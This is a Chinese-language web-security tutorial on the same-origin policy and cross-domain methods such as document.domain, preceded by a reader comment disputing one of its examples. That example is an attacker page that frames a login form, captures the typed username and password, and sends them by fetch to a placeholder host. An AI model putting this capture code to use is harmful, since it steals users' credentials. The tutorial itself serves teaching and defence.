你举得那个例子是有问题的。iframe跨域本来就不受同源策略影响,这里你不修改document.domain也没问题,同源策略在这里只会拦截你请求自己服务器的数据回传,但账号密码已经通过GET传出去了,你也不需要回传的数据
跨域方式及其产生的安全问题
前言
最近在学习和挖洞的过程中碰到了一些因为涉及跨域而产生的安全问题,结合之前所学总结分享一下
同源策略
概念
同源策略是一种约定,它是浏览器最核心也最基本的安全功能。以下特征被称之为同源
- 同协议 如:https://exp.org 与 http://exp.org 不同源
- 同端口 如:http://exp.org 与 http://exp.org:8080 不同源
- 同域名 如:http://aaa.org 与 http://bbb.org 不同源
同源策略有两种限制,第一种是限制了不同源之间的请求交互,例如在使用XMLHttpRequest 或 fetch 函数时则会受到同源策略的约束。 第二个限制是浏览器中不同源的框架之间是不能进行js的交互操作的。比如通过iframe和window.open产生的不同源的窗口。这两种限制都有不同的解决方案,下面会讲解不同的解决方案和可能产生的安全问题。
注:
- 对于
<a>
<script>
<img>
<video>
<link>
这类属性带有src,href的标签,允许跨域加载 - 跨域请求可以发出,但是浏览器查看返回包发现跨域且无CORS头则会丢弃,而且不同子域之间默认是不同源的
- IE 未将端口号加入到同源策略的组成部分之中,因此
company.com:81/index.html
和company.com/index.html
属于同源并且不受任何限制。
作用
有人可能一开始觉得同源策略多此一举,但如果没有同源策略会怎么样?如果没有同源策略,所有页面之间都可以相互读取,javascript就拥有无穷的权利。
举个例子。假设A页面是一个很敏感的登录系统,现在受害者先访问了我们伪造的B网页,然后诱导其登录A网页
为了假设没有同源策略,我以aaa.evoa.me为页面A和bbb.evoa.me为页面B。现实中两个不同子域默认不同源
aaa.evoa.me/login.php
<!-- aaa.evoa.me/login.php -->
<body>
<div style="margin-left: 100px">
<form method="POST" id='form'>
用户名: <br/>
<input id=username type="text" name="username">
<br/>
密码: <br/>
<input id=password type="password" name="username">
<br/>
<input type="submit" value="提交">
</div>
</body>
<!-- 下面设置为了模拟假设没有同源策略 -->
<script>
document.domain="evoa.me"
</script>
bbb.evoa.me/evil.php
<!-- bbb.evoa.me/evil.php -->
<!-- 下面设置为了模拟假设没有同源策略 -->
<script>
document.domain = "evoa.me"
</script>
<iframe src="//aaa.evoa.me/login.php" id="iframe" width=100% height=100% frameborder=0>
</iframe>
<script>
var ifrw = document.getElementById('iframe').contentWindow;
document.getElementById('iframe').onload = function(){
ifrw.document.getElementById('form').onsubmit = function(){
var username = ifrw.document.getElementById('username').value;
var password = ifrw.document.getElementById('password').value;
fetch('//xxx.xxx.xxx.xxx/?username='+username+'&'+'password='+password);
}
}
</script>
跨域数据传输的方式
document.domain
此方法针对的是同源策略的第二个限制,即不同窗口之间的同源限制。且此方法只能影响顶级域名相同子域名不同之间的同源规则。
不同子域名之间默认不同源(如aaa.evoa.me与bbb.evoa.me),但是可以通过设置document.domain为相同的更高级域名,来使不同子域同源。
aaa.evoa.me/1.php
<iframe id='iframe' src="//bbb.evoa.me/2.php"></iframe>
bbb.evoa.me/2.php
<h1>123</h1>
通过修改document.domain
aaa.evoa.me/1.php
<iframe id='iframe' src="//bbb.evoa.me/2.php"></iframe>
<script>document.domain = evoa.me</script>
bbb.evoa.me/2.php
<h1>123</h1>
<script>document.domain = evoa.me</script>
注:
document.domain 只可以被设置为他的当前域或其当前域的父域,比如aaa.evoa.me可以设置document.domain为aaa.evoa.me 或 evoa.me,但是不能设置为aaa.evoa.com或者bbb.aaa.evoa.me
document.domain 的赋值操作会导致端口号被重写为NULL,所以 aaa.evoa.me 仅设置document.domain为evoa.me 并不能与evoa.me进行通信,evoa.me的页面也必须赋值一次使双方端口相同从而通过浏览器的同源检测。这么做的目的是,如果子域有XSS,那么他的父域都存在安全隐患
设置document.domain并不会影响XMLHttpRequest 或 fetch的同源策略。